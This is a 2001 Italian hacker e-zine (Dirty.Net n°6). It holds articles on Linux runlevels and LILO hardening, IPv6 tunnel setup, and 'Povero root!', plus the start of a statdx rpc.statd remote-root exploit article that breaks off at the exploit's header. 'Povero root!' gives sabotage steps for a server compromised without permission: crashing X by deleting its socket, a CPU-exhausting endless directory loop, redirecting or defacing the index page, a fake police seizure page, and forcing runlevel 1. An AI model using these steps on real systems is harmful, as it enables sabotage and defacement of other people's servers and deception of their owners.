/ / D . i . r . t . y . N . e . t / /n° 6 (mini-release)/ Rivista mensile/bimensile gratis sulla sicurezza numero "5" mese uscita Giugno 2001 /Tutti i testi sono sottoposti ad adattamento - syn / /La rivista non segue un regolare andamento per le uscite / /Inizio Disclaimer / Tutto il contenuto di questo file di testo è da ritenersi dannoso quindi non applicabile. L'utente è pregato di non mettere in atto quanto scritto .Esso è solo stato pubblicato per offrire una conoscenza maggiore in ambito ,NON per altri scopi.Il testo non si puo' modificare ne tanto meno vendere senza il consenso dell'autore.Se non si rispettano le norme l'utente avrà commesso azione illegale. In questo testo è solamente presente INFORMAZIONE, e l'informazione per legge è LEGALE. Leggendo queste righe tu ACCETTI I TERMINI descritti, se ci fosse qualcosa di contrario alla tua' mente, esci e cancella questo file. /Fine Disclaimer / /website / http://www.accaet.da.ru /email / syn - syn@hackersat.com av4Tar_ - avatar@hackersat.com Jrash - jrash@hackersat.com Ghent - ghent@hackersat.com phaet - vesa8_34@yahoo.it kEwL - kewl@penguinpowered.com /ascii / sYn /staff assemblo / syn /===========================::=============================::=================/ / /Indice /Allegati / / /===========================::=============================::=================/ /800x600 standard full screen / Indice Titolo Collaboratore /Intro / /Hacking, sicurezza informatica / Runlevel e more... - syn Ipv6izziamo il pinguino - SPYRO Povero root! - syn Statdx - SPYRO /Hacking satellitare / /Mezzing / /Phreaking / /Narcoting / /Miscellanea / Writer Block (Bx-Bomber) - Jrash I modem interni - Jrash Piccolo corso sull'hardware (parte 2 ) - syn /Outro / Links - syn /Allegati / - cartella "_attc_" broad.txt = mini broadcast list statdx.c = statdx exploit /===========================::=============================::=================/ / /Runlevel e more... / syn / /===========================::=============================::=================/ / RUNLEVEL E MORE... In questo art. voglio un po' illustrarvi cosa sono sono questi Runlevel tanto sentiti, e analizzando anche qualche aspetto non casuale. I runlevel solo alla base del caricamento del sistema-V-init. Infatti essi caratterizzano la funzionalita' di avvio del sistema. Per la configurazione il file è situato in /etc/inittab. Esistono 7 runlevel (o 6)e i relativi file di configurazione sono divisi nelle directory /etc/rc.d/ nella forma rc#.d. Diamo un po' una guardatino al file, passo passo. - # # inittab This file describes how the INIT process should set up # the system in a certain run-level. # # Author: Miquel van Smoorenburg, # Modified for RHS Linux by Marc Ewing and Donnie Barnes # # Default runlevel. The runlevels used by RHS are: # 0 - halt (Do NOT set initdefault to this) # 1 - Single user mode # 2 - Multiuser, without NFS (The same as 3, if you do not have networking) # 3 - Full multiuser mode # 4 - unused # 5 - X11 # 6 - reboot (Do NOT set initdefault to this) # - Qui è una breve spiegazione, ma dato che noi siamo ITALIANI eccovi la traduzione :) : I Runlevel di Init 0 Sistema spento. 1 Modalità utente singolo. 2 Modalità multi-utente senza servizio NFS. 3 Modalità multi-utente, la modalità di base. 4 Non utilizzata 5 Modalità grafica in ambiente X. 6 Riavvio. - id:3:initdefault: - Questa è una riga fondamentale. Infatti quest'ultima esprime l'ID, il runlevel, azione e comando facoltativo (in default non è presente nessuno, si deve impartire successivamente). id:runlevels:action:process facciamo un esempio: Se è nelle nostre intenzioni avviare il sistema direttamente con l'interfaccia X Window basterà sostituire il valore ``3'' con ``5'', quello del runlevel specifico. Quindi la riga sara' id:5:initdefault: Per quanto riguarda le azioni eccovi la spiegazione: respawn Il processo verra' rieseguito appena terminato (esempio getty). wait Il processo sara' riavviato quando si entra nel runlevel specificato e si attende fin quando sara' terminato. once Il processo viene eseguito una sola volta quando si entra nel runlevel specificato boot Il processo viene eseguito durante il boot di sistema. I runlevels field vengono ignorati. bootwait Il processo viene eseguito durante il boot di sistema. I runlevels field vengono ignorati. Si attende fin quando sara' terminato (esempio /etc/rc). off nothing. initdefault Definisce quale è il runlevel di default sysinit Il processo viene avviato una sola volta al boot di sistema. ondemand A process marked with an ondemand runlevel will be executed when­ ever the specified ondemand runlevel is called. However, no run­ level change will occur (ondemand runlevels are `a', `b', and 'c') Queste sono tra i + importanti, ed eccovi la continuazione (in inglese) : powerwait The process will be executed when the power goes down. Init is usually informed about this by a process talking to a UPS con­ nected to the computer. Init will wait for the process to finish before continuing. powerfail As for powerwait, except that init does not wait for the pro­ cess's completion. powerokwait This process will be executed as soon as init is informormed that the power has been restored. powerfailnow This process will be executed when init is told that the battery of the external UPS is almost empty and the power is failing (provided that the external UPS and the monitoring process are able to detect this condition). ctrlaltdel The process will be executed when init receives the SIGINT sig­ nal. This means that someone on the system console has pressed the CTRL-ALT-DEL key combination. Typically one wants to execute some sort of shutdown either to get into single-user level or to reboot the machine. kbrequest The process will be executed when init receives a signal from the keyboard handler that a special key combination was pressed on the console keyboard. The documentation for this function is not complete yet; more documentation can be found in the kbd-x.xx packages (most recent was kbd-0.94 at the time of this writing). Basically you want to map some keyboard combination to the "KeyboardSignal" action. For example, to map Alt-Uparrow for this purpose use the following in your keymaps file: alt keycode 103 = KeyboardSignal - # System initialization. si::sysinit:/etc/rc.d/rc.sysinit l0:0:wait:/etc/rc.d/rc 0 l1:1:wait:/etc/rc.d/rc 1 l2:2:wait:/etc/rc.d/rc 2 l3:3:wait:/etc/rc.d/rc 3 l4:4:wait:/etc/rc.d/rc 4 l5:5:wait:/etc/rc.d/rc 5 l6:6:wait:/etc/rc.d/rc 6 - Sono gli script del file, si trovano nella directory /etc/rc.d (Nella Redhat) insieme all'eseguibile rc. Dateci una guadata. Se, ad esempio, abbiamo settato il livello 5, all'avvio, ovvero all' "INIT: ENTERING RUNLEVEL:5" linux carichera' tutti gli script che si trovano nella directory rc./rc 5. A questo punto devo di obbligo mostrarvi un piccolo bug, ma in effetti non possiamo nemmeno definirlo tale. Se da user si setta il runlevel 1 al riavvio la macchina sara' root senza digitare ALCUNA PASSWORD! I + sbadati commettono questo errore, anche se non molto grave, ma si puo' fixare. Basta impartire a LILO (/etc/lilo.conf) una password. Inserite la stringa password=la_passwd_che_vuoi Questo basta per proteggere il bootloader. Adesso vi riporto anche altre opzioni per far di che il bootkernel sia ancora + sicuro: in /boot/chain.b read-only fa si che i file root siano di sola lettura, di solito il sistema rimonta il file-sistem così da imporre il read-write. password=la_passwd_che_vuoi fa si che si venga chiesta la password in caso si voglia modificare l'immagine. Con questo vi lascio. Non so e non conosco link quindi non posso nemmeno consigliarvi qualche sitaccio dove consulatare + approfonditamente l'argomento. Ma credo che sulla documentazione in italiano ci sia ben poco, cmq se qualcuno si accinge alla ricerca cosa dirgli, buona fortuna :) syn www.accaet.da.ru /===========================::=============================::=================/ / /Ipv6izziamo il pinguino / SPYRO / /===========================::=============================::=================/ | |.| |.| |\./| |\./| . |\./| . \^.\ |\\.//| /.^/ \--.|\ |\\.//| /|.--/ \--.| \ |\\.//| / |.--/ _____ \--.|\ |\./| /|.--/ / ___/ ____ __ __ _____ ____ \--.|\ |\./| /|.--/ \__ \ / __ \ / / / / / ___// __ \ \ .\ |.| | /. / ___/ / / /_/ // /_/ / / / / /_/ / _ -_^_^_^_- \ \\ // / -_^_^_^_- _ /____/ / .___/ \__, / /_/ \____/ - -/_/_/- ^ ^ | ^ ^ -\_\_\- - /_/ /____/ __ __ __ / / / / ____ _ _____ / /__ | | / /_/ / / __ `// ___/ / //_/ .\ /. Ipv6ziamo il pinguino .\ /. / __ / / /_/ // /__ / ,< /_/ /_/ \__,_/ \___/ /_/|_| Url: www.spyrohack.com www.spippolatori.com/utenti/spyro-www E-mail: spyro2600@yahoo.it spyro-collaboratore@spippolatori.com -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- Salve ragazzi/e ,utlimamente si parla molto di ipv6,quindi ho deciso di scrivere un'tutorial su come impostare la propia box linux per questo protocollo di rete. Ma prima di tutto,sapete cosa è,e come funziona ipv6? Beh..ho trovato una documentazione comprensibile e carina,ve la propongo qui di seguito: ------------------------------------------------------------------------------------------------------- Cos'è il protocollo IPv6? Il protocollo IP (originario) è stato standardizzato nel 1981 (RFC 791 [1]) e la versione che usiamo tuttora regolarmente è la 4 (IPv4). Questa versione ha l'ip formato da 32 bit e permette all'incirca un numero di indirizzi pari a 4 miliardi di indirizzi. Una cifra notevole eh? :) Naturalmente non esistono allo stato attuale 4 miliardi di calcolatori nel pianeta e quindi non è immediatamente comprensibile il perchè della necessità di passare in un futuro, prossimo o meno che sia, ad IPv6. Un pò di cifre: Classe A: 128 reti disponibili --> 16 milioni di indirizzi ciascuna Classe B: circa 16.000 reti disponibili --> 65.000 indirizzi l'una Classe C: circa 2 milioni di reti disponibili --> ciascuna grande 254 indirizzi In data 1 Gennaio 1996 risultavano occupate 96 classi A, 5655 classi B, 87.924 classi C E c'è da tener conto che nel 1996 Internet non era ancora un fenomeno di massa... Comunque tutti i segni premonitori alla crisi del IPv4 c'erano gia, bastava vedere che nel gen. 93 risultavano online poco meno di un milione e mezzo di host, nel 1996 erano quasi nove milioni e mezzo. Ma allora perchè visto che 4 miliardi di indirizzi sono tantissimi, gli IPv4 liberi stannp per finire? Perchè sino al 1991venivano assegnate intere classi B e che di questo passo si sarebbero esaurite entro il 1994. Per questo motivo la IEFT decise di assegnare blocchi di reti contigue di classe C (le cosiddette classless), in modo da tamponare il deficit di quelle di classe B. Naturalmente in quello stesso periodo prende forma l'IPv6.... Allo stato attuale delle cose IPv6 `ha dato vita` a 6Bone, ovvero è una rete per così dire sovrapposta ad Internet, nella quale host che hanno IPv6 (le cosiddette isole) possono comunicare tra di loro attraverso i comuni protocolli (http, ftp etc..etc..). Allo stato attuale delle cose questa comunicazione tra isole viene fatta attraverso 'tunneling`, ovvero detto in modo semplice tutto il traffico IPv6 viene trasportato utilizzando il routing IPv4. La maggior parte degli host sono dual-stack, e possono utilizzare i tunnel per instradare i pacchetti IPv6 su porzioni di rete solo IPv4 per raggiungere l'altra isola IPv6 Per utilizzare un paragone forse banale ma efficace, immaginatevi tante isole IPv6 in un mare IPv4 (internet) che usano delle barche (routing IPv4) per portare gli abitanti (pacchetti IPv6) da un'isola all'altra. natururalmente tutto questo viene effettuato tramite l'incapsulamento di pacchetti IPv6 in pacchetti IPv4. Allo stato attuale questo viene fatto dal SIT (Simple Internet Transition) (ora saprete cos'è sit0 :PP) Caratteristiche principali del SIT: Box dual-stack (dette anche IPv4/IPv6) Incapsulamento di pacchetti IPv6 in pacchetti IPv4 per attraversare parti di rete ancora solo IPv4 Perchè viene utilizzato questo sistema? Come dice il nome stesso per effettuare la transizione in modo meno traumatico possibile. Magari l'unica cosa necessaria è un server DNS dual stack per risolvere i nomi sia IPv4 che IPv6, però tutto il resto è completamente decentrato. Infatti ad esempio non è necessario che i router del vostro provider siano aggiornati ad IPv6 per averlo (ad esempio se usate dialup). Basta che mettiate il dual-stack nella vostra box, usate come gateway/router IPv4/IPv6 quello fornitovi dal vostro tunnel broker, e così potrete utilizzare in modo ottimale IPv6 (irc, web etc..). Naturalmente non disturbando in alcun modo la vostra `normale` connessione IPv4. Che la sperimentazione cominci! :)) Documentazione: Guida ad IPv6 di Silvano Gai - McGrawHill (tutti i diritti riservati) IPv6 HowTo - www.linuxdoc.org --------------------------------------------------------------------------------------------------------- Beh..come dice la documentazione,mettiamoci a lavoro. Requisiti: 1)Una minima conoscenza della ricompilazione del Kernel 2)Sorgenti del Kernel 2)Net-tools (compatibili per ipv6) 3)Iputils (compatibili per ipv6) Per scrivere questo txt mi riferirò ad un'esperienza personale eseguita su SlackWare 7.1 con il kernel 2.2.16 . La versione dei Net-tool è 1.57 mentre la versione di iputils è la 001110. Non sò precisamente quali versioni di kernel non supportino ipv6,ma ultimamente ne ho ricompilato uno su red hat 6.1 con kernel 2.2.12 . Insomma è vecchiotto questo kernel,eppure c'è il modo di abilitare ipv6,credo che chi stà leggendo questo articolo abbia una distro molto più recente di una RedHat 6.1 . Ok mettiamoci a lavoro. Entriamo nella directory dove ci sono i sorgenti del kernel,ovvero /usr/src/linux . cd /usr/src/linux dopo prepariamo il menu di configurazione: make menuconfig A questo punto apparirà il menù del kernel. ---------------------------------------------------------------------------------------------------------- Se avete già i sorgenti del kernel,saltate questo riquadro,altrimenti continuate a leggere per sapere come procurarseli. Ci sono 2 possibilità: 1) Cercarli nel cd-rom di installazione della vostra distro. Il nome sarà tipo questo: kernel-sorucre-2.2.12-20.i386.rpm A questo punto digitiamo: rpm -Uv kernel-sorucre-2.2.12-20.i386.rpm e i sorgenti verranno installati nella dir /usr/src/linux 2) Scaricarselo dall'ftp ufficiale del kernel,ovvero ftp.kernel.org . Andare su ftp://ftp.kernel.org/pub/linux/kernel e scegliere la versione di kernel appropiata. Scarichiamo i sorgenti in /usr/src e lì scompattiamoli. Esempio: tar xvfz linux-2.2.16.tar.gz E anche qui ritroveremo i sorgenti dentro /usr/src/linux ------------------------------------------------------------------------------------------------------- Nel menù del kernel possiamo vedere molte voci,selezioniamo "Networking Option" e premiamo invio. Dopo selezionare i seguenti parametri: [*] Kernel/User netlink socket <*> Netlink device emulation <*> The IPv6 protocol (EXPERIMENTAL) [*] IPv6: enable EUI-64 token format [*] IPv6: disable provider based addresses Ok,adesso premiamo su exit per tornare al menu principale e poi di nuovo exit. Adesso ci comparirà la domanda: Do you wish to save your new kernel configuration? E noi premiamo su YES . Ok adesso diamo i comandi: 1)make dep 2)make clean 3)make bzImage 4)make modules 5)make modules_install Questi sono i 5 comandi che si danno di solito per ricompilare il kernel. Spiegazione comandi: 1) make dep: controlla le dipendenze esempio: noi attiviamo il supporto framebuffer ma non attiviamo la vga,ci pensa lui. 2) make clean: elimina i file oggetto delle vecchie compilazioni 3) make bzImage: Crea il nuovo kernel 4) make modules: crea i moduli 5) make modules_install: installa moduli in /lib/modules Prima che esegua tutte queste operazioni ci vorrà un po di tempo,ma tanto noi non abbiamo furia,giusto? Adesso che abbiamo finito dobbiamo provare il nuovo kernel. Entriamo nella dir. /usr/src/linux/arch/i386/boot e copiamo il nuovo kernel nella directory /boot . cd /usr/src/linux/arch/i386/boot mv bzImage /boot/ipv6 In questo modo copiamo il nuovo kernel nella dir. /boot chiamandolo ipv6 . Adesso creiamo un nuovo label nel LILO per provare il nuovo kernel. Questo xchè se il nuovo kernel avrà problemi e crasha,noi avremo la possibilità di usare quello originale ovvero quello funzionante. Creeiamo un nuovo label. Editiamo lilo.conf ,che trovermeo nella dir. /etc ,con un qualsiasi editor di testo e aggiungiamo le seguenti righe: image = /boot/ipv6 root = /dev/hda6 label = ipv6 read-only Spiegazione: image = /boot/ipv6 : Il kernel che lilo deve caricare root = /dev/hda6 : Partizione in cui è installato il Mount Point / label = ipv6 : Nome che andrà digitato per caricare il kernel /boot/ipv6 read-only : In questo modo al momento del boot la partizione sarà disponibile solo in lettura I dati qua sopra citati potete lascialri tutti come li ho settati io,tranne root = /dev/hda6 . Lì dovrete mettere la vostra partizione root. Se non sapete quale è,basta che controllate quella del label linux(di solito si chiama così). --------------------------------LiLo.C0nf-------------------------------------------------------------- boot = /dev/hda message = /boot/boot_message.txt prompt timeout = 1200 other = /dev/hda1 label = DOS table = /dev/hda image = /boot/mvlinuz root = /dev/hda6 label = Linux read-only --------------------------------LiLo.C0nf-------------------------------------------------------------- Come si nota il label linux usufruisce della partizione root /dev/hda6 ,quindi il nostro lilo.conf modificato sarà: --------------------------------LiLo.C0nf-------------------------------------------------------------- boot = /dev/hda message = /boot/boot_message.txt prompt timeout = 1200 other = /dev/hda1 label = DOS table = /dev/hda image = /boot/ipv6 root = /dev/hda6 label = ipv6 read-only image = /boot/mvlinuz root = /dev/hda6 label = Linux read-only --------------------------------LiLo.C0nf-------------------------------------------------------------- Adesso salviamo e chiudiamo il file lilo.conf Dovremo far attuare le modifiche a lilo,tutto questo dando il comando: lilo In questo modo eseguiremo lilo,che controllerà l'esistenza del kernel nuovo da boottare. Adesso installiamo i Net-tools. Ma cosa sono? I net-tools sono componenti per la rete,se non avete una versione abbastanza aggiornata non avete ifconfig e altri applicativi capace di reggere ipv6. Ok adesso proviamo ad installarli. prima di tutto scompattiamoli: tar xvfz net-tools-1.57.tar.gz Entriamo nella sua dir: cd net-tools-1.57 Avviamo la configurazione: make config Adesso ci fara varie domande sui servizi che vorremo abilitare,noi premeremo sempre invio,così risponderemo come ci consiglia il programma. Ma attenzione soltanto a 2 domande dovremo rispondere con y (yes) ovvero: INET6 (IPv6) protocol family (HAVE_AFINET6) e SIT (IPv6-in-IPv4) support (HAVE_HWSIT) Se non siete sicuri seguite la seguente configurazione: ------------------------------------------------------------------------------------------------------- Configuring the Linux net-tools (NET-3 Base Utilities)... * * * Internationalization * * The net-tools package has currently been translated to French, * German and Brazilian Portugese. Other translations are, of * course, welcome. Answer `n' here if you have no support for * internationalization on your system. * Does your system support GNU gettext? (I18N) [n] * * * Protocol Families. * UNIX protocol family (HAVE_AFUNIX) [y] INET (TCP/IP) protocol family (HAVE_AFINET) [y] INET6 (IPv6) protocol family (HAVE_AFINET6) [y] Novell IPX/SPX protocol family (HAVE_AFIPX) [y] Appletalk DDP protocol family (HAVE_AFATALK) [y] AX25 (packet radio) protocol family (HAVE_AFAX25) [y] NET/ROM (packet radio) protocol family (HAVE_AFNETROM) [y] Rose (packet radio) protocol family (HAVE_AFROSE) [n] X.25 (CCITT) protocol family (HAVE_AFX25) [y] Econet protocol family (HAVE_AFECONET) [n] DECnet protocol family (HAVE_AFDECnet) [n] Ash protocol family (HAVE_AFASH) [n] * * * Device Hardware types. * Ethernet (generic) support (HAVE_HWETHER) [y] ARCnet support (HAVE_HWARC) [y] SLIP (serial line) support (HAVE_HWSLIP) [y] DLCI/FRAD (frame relay) support (HAVE_HWFR) [y] SIT (IPv6-in-IPv4) support (HAVE_HWSIT) [y] FDDI (generic) support (HAVE_HWFDDI) [n] HIPPI (generic) support (HAVE_HWHIPPI) [n] Ash hardware support (HAVE_HWASH) [n] (Cisco)-HDLC/LAPB support (HAVE_HWHDLCLAPB) [n] IrDA support (HAVE_HWIRDA) [y] Econet hardware support (HAVE_HWEC) [n] * * * Other Features. * IP Masquerading support (HAVE_FW_MASQUERADE) [n] Build iptunnel and ipmaddr (HAVE_IP_TOOLS) [n] Build mii-tool (HAVE_MII) [n] ------------------------------------------------------------------------------------------------------- Se seguirete l'esempio di sopra non dovreste avere nessun problema. Adesso non ci manca altro che concludere l'installazione: make e dopo: make install Adesso installiamo ip-utils. Scompattiamolo: tar xvfz iputils-ss001110.tar.gz Entriamo nella dir. cd iputils Installiamo: make Come si può notare,non ci vuole molto :))) Gli ip utils servono per pingare o fare un traceroute ad un'indirizzo ipv6(non solo). Adesso dobbiamo crearci un tunnel ipv6,quindi recarsi all'url: www.6bone.it www.bersafe.it www.freenet6.net e registratevi. (Io farò l'esempio con 6bone) Scegliete quello che vi piace di più,cmq non esistono solo quelli che ho citato sopra. Dopo esserci registrati ci serviranno le seguenti informazioni: 1) Il nostro indirizzo ipv6 che ci viene affibbiato 2) End Point del nostro tunnel 3) La nostra password e user Adesso ci creiamo uno script in bash che ci apra il tunnel sul nostro piccì: 1) hunguppare il device sit0 ifconfig sit0 up 2) settare l'endpoint del tunnel nel nostro caso: 62.94.0.65 ifconfig sit0 tunnel ::62.94.0.65 3) hunguppare il device sit1 ifconfig sit1 up 4) aggiungere un indirizzo di route al device sit1 nel nostro caso: route -A inet6 add default dev sit1 5) addare l'ip ipv6 nostro al ppp0, nel nostro caso: 3ffe:8169:b::b25/127 #ifconfig ppp0 add 3ffe:8169:b::b25/127 Adesso che sappiamo cosa mettere nello script,creeiamolo: vi ipv6.sh (potete usare qualsiasi editor testuale) /sbin/ifconfig sit0 up /sbin/ifconfig sit0 tunnel ::62.94.0.65 /sbin/ifconfig sit1 up /sbin/route -A inet6 add default dev sit1 /sbin/ifconfig sit1 add 3ffe:8169:b::b25/127 echo Ipv6 Attivo adesso salviamo e chiudiamo. Rendiamolo eseguibile: chmod +x ipv6.sh Ok,prima di provarlo dobbiamo reboottare per scegliere il kernel con supporto ipv6. Quindi reboottiamo,quando appare la scritta LILO: premiamo il tasto Tab x vedere se il label ipv6 c'è. Quindi scriviamo ipv6 e premiamo invio. Adesso verrà caricato il kernel ipv6zzato :) Connettiamoci con il nostro account alla rete. Dopo carichiamo lo script ipv6. ./ipv6.sh Quindi andare sul sito di 6bone.it(o altro) e aggiornare il nostro tunnel immettendo: 1) login 2) password 3) Nostro indirizzo ipv4 Per trovare il nostro indirizzo ipv4 basta dare il comando ifconfig. ifconfig e guardare la parte riguardante ppp0 ppp0 Link encap:Point-to-Point Protocol inet addr: NOSTROIP P-t-P:193.43.108.12 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:330 errors:2 dropped:0 overruns:0 frame:2 TX packets:392 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:10 Ovvero la riga che inizia come inet addr: Benissimo,dopo esserci aggornato il tunnel siamo pronti per testarlo. Per aggiornare di volta in volta il tunnel,si può evitare di andare sempre sul sito,questo scaricando uno script in bash che potrete trovare sul propio sito di affiliazione di tunneling. Programmi che supportano ipv6: Broswer: Mozzilla 0.8.1 (Grafico) IRC Client: X-Chat v1.7.0 (Grafico) KVirc v2.1.0 (Grafico) BitchX x1.0c18 (Testuale) ircII v4.4 (Testuale) IRC SERVERS: it.irc6.net eu.irc6.net irc6.skylight.be irc6.edisontel.it Se tutto è andato a buon fine,siete pronti per il protocollo di prossima generazione. Anche per oggi abbiamo finito ;) Un saluto dal vostro SPYRO Byez -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- bash# cd /saluti bash# cat saluti.txt Saluti: Bakunin(Mio grande maestro),AtlaWare,mR_bIs0n,Spawn,BsTHaCk,Anubi,D4rkSt4r,jex,Silent,dibbellas,^maga^ Radion,Warning,Terror,Gouranga,Blender,Prodigy,Hiolz[83],Memorik,Hedo,MrWolf,Screen_it,zapotecz, Goony,Scire,Sulex,Floppino,Grungio,Fratak,McGiver,AntiS,gouranga,LizDay,satz,cancerman,Dea,ULCC,Spider2k Ice'St0rm e tutti quelli che ho dimenticato di #phreak.it(scusatemi). Poi saluto anche tutti quelli dei tankcommandos,della hrn,pbk,Maphias0ft,gli Spippolatori,in particolare il grande Master,Chrome, Brigante,RigorMortem,Vinx2o2o,fen0x,DARKMAN,risk e tutti quelli che mi vogliono bene :) Fuck to: MMMMM un gran vaffanculo all'amicizia fra ragazzi e ragazze!!!!!! -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- bash# cat end.c #include void main(void){ printf("Anche per oggi è tutto dal vostro SPYRO\n"); printf("Ciaoooooooooooo\n"); } bash# halt ATTENDERE:ARRESTO DEL SISTEMA IN CORSO...... ORA SI PUO' SPEGNERE IL COMPUTER! ahahaha scherzo ;) /===========================::=============================::=================/ / /Povero root! / syn / /===========================::=============================::=================/ / POVERO ROOT! Salve ragazzi, con questo articoletto voglio un po' illuminarvi su...fare amicizia con il root! OK volete far impazzire il root? Una volta roottata una shell di un server volete un po' collaudarla a dovere? Volete portare quasi al suicidio il padrone xchè lo avete sul perno della gola ? Bè la mia mente perversa ha qualcosa per voi ! Vi riporto un po' di tecniche per fare delirare letteralmente il padrone della shell appena roottata. Quello che vi riporto non è altro che frutto di uno studio (di poco impegno) sul sistema operativo, cercando file provando a capire il loro funzionamento e in che modo possono essere usati anche maliziosamente! Premetto che per la scrittura di un paio di metodi ho fatto riferimento a dei vecchi testi. Tutti i comandi sono testati su sistema Linux, altrimenti sarà specificato nel testo. Divertitevi: ISSUE Il file /etc/issue riporta informazioni relative alla fase di loggaggio. Ad esempio il os installato sulla macchina, quindi è istintivo provare ad emulare un po' per far salire di testa il root quando si trova un os differente! Eccovi una mini lista (reperita in rete) : Atari Mega STE running JIS-68k 3.0 BSDI BSD/OS 3.0-3.1 VAX/VMS v5.5, CMU-TEK TCP/IP stack Cisco 762 Non-IOS Software release 4.1(2) or 766 ISDN router oppure provate Jolt/OS 4.32- BSD support che onore !! SERVER X CRASH Se esiste il file /tmp/.x11-unix/x0, rimuovendolo farà andare in crash il server x. Esemipo: rm /tmp/.x11-unix/x0 KARM PER UTENTI Se volete modificare il noto programma (forse non troppo), più conosciuto come il Time Tracker Handbook che gira sotto kde, modificate a vostro piacimento il file: /home/UTENTE/.kde/share/apps/karm/karmdata.txt (su redhat 7.x non lo ho testato su altre distro) Il file si presenta così : # Karm save data 12 asd che equivale a : # Karm save data tempo nometask Il tempo è in secondi. Che dirvi se non sbizzarrirvi a inserire + task anche di + minuti, qui dovrete far funzionare molto la fantasia . INDEX REDIRECT Trovate nella macchina la index (o default) della homepage. Inserite nell'html questo codice che non fa altro che redirezionare la pagine ad un'altro URL, magari del vostro sito !! (un grazie a Ghent) REDIRECT Usando un po' di fantasia cercate di far rimanere stupiti il "padrone", linkando siti porno o meglio provate questo script www.nomeadmyn.isgay.com, solo se volete tremendamente insultarlo . CPU A PUTTANE Scrivete dalla shell: while : : ; do > mkdir "fuck" > chdir "fuck" done L'idea è venuta ad un mio amicone, si vede chiaramente che con questo comando inizia un ciclo infinito di creazione di directory e sottodirectory che fanno senz'altro andare "fuori di processo" la cpu e la rete ! ALIAS Non lo ho terminato... SEQUESTRO Sostituite l'html della index con questo, è la pagina che la informapolice (W www.leuciocutillo.it, questo è uno di loro! ) mette per censurare il siti illegali (per modo di dire), colpiti sopratutto sono i siti che trattano di hacking satellitare. In italia il fenomeno si sta espandendo a macchia d'olio, allora hanno deciso di prendere un "pochino" di provvedimenti, ma non fermeranno nemmeno il 10% dell'informazione. Bisogna modificare "CITTA'" e "ILSITOHACKED". Eccovi l'html. Io pero' ancora non lo ho testato :( html> Guardia di Finanza

Guardia di Finanza

COMANDO NUCLEO PROVINCIALE POLIZIA TRIBUTARIA CITTA'

Sito http://www.ILSITOHACKED.net sottoposto a

SEQUESTRO

Decreto nr. 5069/99 della

Procura Distrettuale della Repubblica di CITTA'

RUNLEVEL 1 Se volete fare uno scherzo di vero effetto vi conviene cambiare al vostro amico sfortunato il runlevel in 1. Per gli arretrati: Nel file /etc/inittab basta sostituire il valore numerico con "1" nella riga id:3:initdefault: e per concludere in felicità vi riporto uno dei "normali" Irclog che posseggo : :) VIVA I LAMER 22:10:14 allora VIVA AVATAR hihahahahhahahaahahahhahahahahhahahahaahahahahhahaahaaha 22:11:12 Av4Tar_hT parted #hackers@ 22:11:30 ahhahahahahaahahhahahhahahahaha 22:11:32 aahahahhahahahaha 22:11:34 ahahhaha 22:11:35 aha 22:11:37 a 22:11:40 i lamer scappano 22:11:46 ahahahahahahahahahahahahhha /===========================::=============================::=================/ / /Statdx / SPYRO / /===========================::=============================::=================/ | |.| |.| |\./| |\./| . |\./| . \^.\ |\\.//| /.^/ \--.|\ |\\.//| /|.--/ \--.| \ |\\.//| / |.--/ _____ \--.|\ |\./| /|.--/ / ___/ ____ __ __ _____ ____ \--.|\ |\./| /|.--/ \__ \ / __ \ / / / / / ___// __ \ \ .\ |.| | /. / ___/ / / /_/ // /_/ / / / / /_/ / _ -_^_^_^_- \ \\ // / -_^_^_^_- _ /____/ / .___/ \__, / /_/ \____/ - -/_/_/- ^ ^ | ^ ^ -\_\_\- - /_/ /____/ __ __ __ / / / / ____ _ _____ / /__ | | / /_/ / / __ `// ___/ / //_/ .\ /. Statdx .\ /. / __ / / /_/ // /__ / ,< /_/ /_/ \__,_/ \___/ /_/|_| Url: www.spyrohack.com www.spippolatori.com/utenti/spyro-www E-mail: spyro2600@yahoo.it spyro-collaboratore@spippolatori.com -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- <<<-- DISCLAIMER -->>> Tutto quello che riporterò qui di seguito,è di solo scopo informativo. Pertanto se causerete danni a voi o a terzi la responsabilità è solo vostra. Al giorno d'oggi la rete pultroppo è piena di lamer,e io con questo testo non voglio contribuire alla nascita di nuovi,qundi pensateci due volte prima di mettere in atto queste informazioni. Io ho scritto questo testo soltanto x mettere in evidenza i problemi di sicurezza riguardanti la rete. -._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.- Premetto che la tecnica che scriverò di seguito,dovrà essere attuata da linux. Naturalmente sul propio sistema eh? ;) Questo bug risiede nel sistema operativo linux,precisamente nella distro. Red Hat 6.2/6.1/6.0 . L'exploit consiste nel fare un buffer overflow alle rpc.statd da remoto. Ma cosa è l'rpc? Praticamente è un'elenco di servizi disponibili in un server;Infatti se diamo il comando: rpcinfo -p 666.666.666.666 (naturalmente l'ip non esiste) il server ti risponde con delle info su determinati servizi nfs,ad esempio: program vers proto port 100000 2 tcp 111 rpcbind 100000 2 udp 111 rpcbind 100024 1 udp 933 status 100024 1 tcp 935 status 100011 1 udp 944 rquotad 100011 2 udp 944 rquotad 100005 1 udp 954 mountd 100005 1 tcp 956 mountd 100005 2 udp 959 mountd 100005 2 tcp 961 mountd 100005 3 udp 964 mountd 100005 3 tcp 966 mountd 100003 2 udp 2049 nfs 100021 1 udp 1024 nlockmgr 100021 3 udp 1024 nlockmgr 100021 1 tcp 1024 nlockmgr 100021 3 tcp 1024 nlockmgr Quindi l'expolit fa piantare le statdx,o meglio le startx fanno una operazione che manda in segmentation fault le rpc. Per spiegare cosa è un buffer overflow ci vorrebbe molto tempo,e non me la sento di spiegarlo nel mezzo di questo articolo,magari ne farò uno a parte. Cmq il sorgente dell'exploit è questo: -------------------------------------------statdx.c---------------------------------------------- /** *** statdx *** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32) *** by ron1n *** *** August 3, 2000 *** Sydney, Australia *** *** Oh you prob'ly won't remember me *** It's prob'ly ancient history 